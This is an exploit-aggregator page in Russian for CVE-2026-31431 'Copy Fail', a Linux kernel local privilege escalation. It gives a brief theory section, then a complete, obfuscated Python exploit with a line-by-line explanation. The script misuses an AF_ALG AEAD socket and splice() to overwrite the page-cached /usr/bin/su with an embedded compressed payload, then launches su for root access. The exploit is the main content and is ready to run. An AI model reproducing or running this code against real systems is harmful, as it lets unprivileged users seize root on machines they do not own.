Sploitus

Exploit for CVE-2026-31431-copy-fail

kitploit · 2026-08-27

Exploit Code

MARKDOWN76 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TREVOCASTLES-CVE-2026-31431-COPY-FAIL
# Эксплойт CVE-2026-31431 Copy Fail

### **Часть 1: Теоретическая концепция (Как работает CVE-2026-31431)**

Вместо того чтобы система постоянно получала файлы напрямую с медленного физического жёсткого диска — на что уходит много времени, — Linux создаёт временную копию файла в ОЗУ, известную как **Page Cache**. Это позволяет системе выполнять и читать файл почти мгновенно, полностью в пределах ОЗУ.

Этот процесс опирается на две ключевые функции:

  * **`AF_ALG`:** Отвечает за обработку криптографических/шифровальных операций для файлов и данных внутри ядра.

  * **`splice()`:** Отвечает за перемещение данных напрямую из одного участка памяти в другой на чрезвычайно высоких скоростях (Zero-Copy).




Эксплойт манипулирует этими двумя функциями. Когда система пытается обработать и выполнить файл в памяти, она сталкивается с внедрённым кодом полезной нагрузки. Поскольку само ядро Linux управляет памятью, оно никогда не подозревает, что там произошла логическая ошибка или несанкционированное изменение.

**Кратко:** Уязвимость воздействует на память, чтобы обойти шифрование/проверки целевого файла. Затем она перезаписывает определённые 4-байтовые инструкции в памяти, так что любой непривилегированный пользователь мгновенно получает доступ **Root** — при этом вся операция выполняется непосредственно ядром.

### **Часть 2: Анализ кода эксплойта**

#### **Код эксплойта:**

Python

root@kitploit:~
    
    
    #!/usr/bin/env python3
    import os as g, zlib, socket as s
    
    def d(x): return bytes.fromhex(x)
    
    def c(f, t, c):
        a = s.socket(38, 5, 0)
        a.bind(("aead", "authencsn(hmac(sha256),cbc(aes))"))
        h = 279
        v = a.setsockopt
        v(h, 1, d('0800010000000010' + '0' * 64))
        v(h, 5, None, 4)
        u, _ = a.accept()
        o = t + 4
        i = d('00')
        u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
        r, w = g.pipe()
        n = g.splice
        n(f, w, o, offset_src=0)
        n(r, u.fileno(), o)
        try: u.recv(8 + t)
        except: 0
    
    f = g.open("/usr/bin/su", 0)
    i = 0
    e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
    
    while i < len(e):
        c(f, i, e[i:i+4])
        i += 4
    
    g.system("su")
    

#### **Построчный разбор:**

  1. **`e = zlib.decompress(d("78daab77..."))`**

Эта строка извлекает сжатую полезную нагрузку из hex-данных. Эту нагрузку можно рассматривать как вектор внедрения, предназначенный для предоставления Root-привилегий. Она преобразует hex-данные в сырые байты, чтобы их можно было записать в ОЗУ и обойти проверку пароля.

  2. **`a = s.socket(38, 5, 0)` , `n(f, w, o)` , `n(r, u.fileno(), o)`**

Скрипт открывает бинарный файл `/usr/bin/su` (исполняемый файл, отвечающий за переключение привилегий пользователя) в режиме только для чтения. Он создаёт сокет `AF_ALG` (ID AF_ALG = 38) и с помощью системного вызова `splice()` передаёт страницы памяти `/usr/bin/su` напрямую в криптографический движок ядра.

  3. **Перезапись памяти ядра:**

Из-за ошибки в криптографическом модуле ядра (`algif_aead`) ядро вводится в заблуждение во время операции. Вместо записи результата обработки в обычный временный буфер оно записывает полезную нагрузку **напрямую поверх страницы бинарного файла`/usr/bin/su`, хранящейся в ОЗУ (Page Cache)**.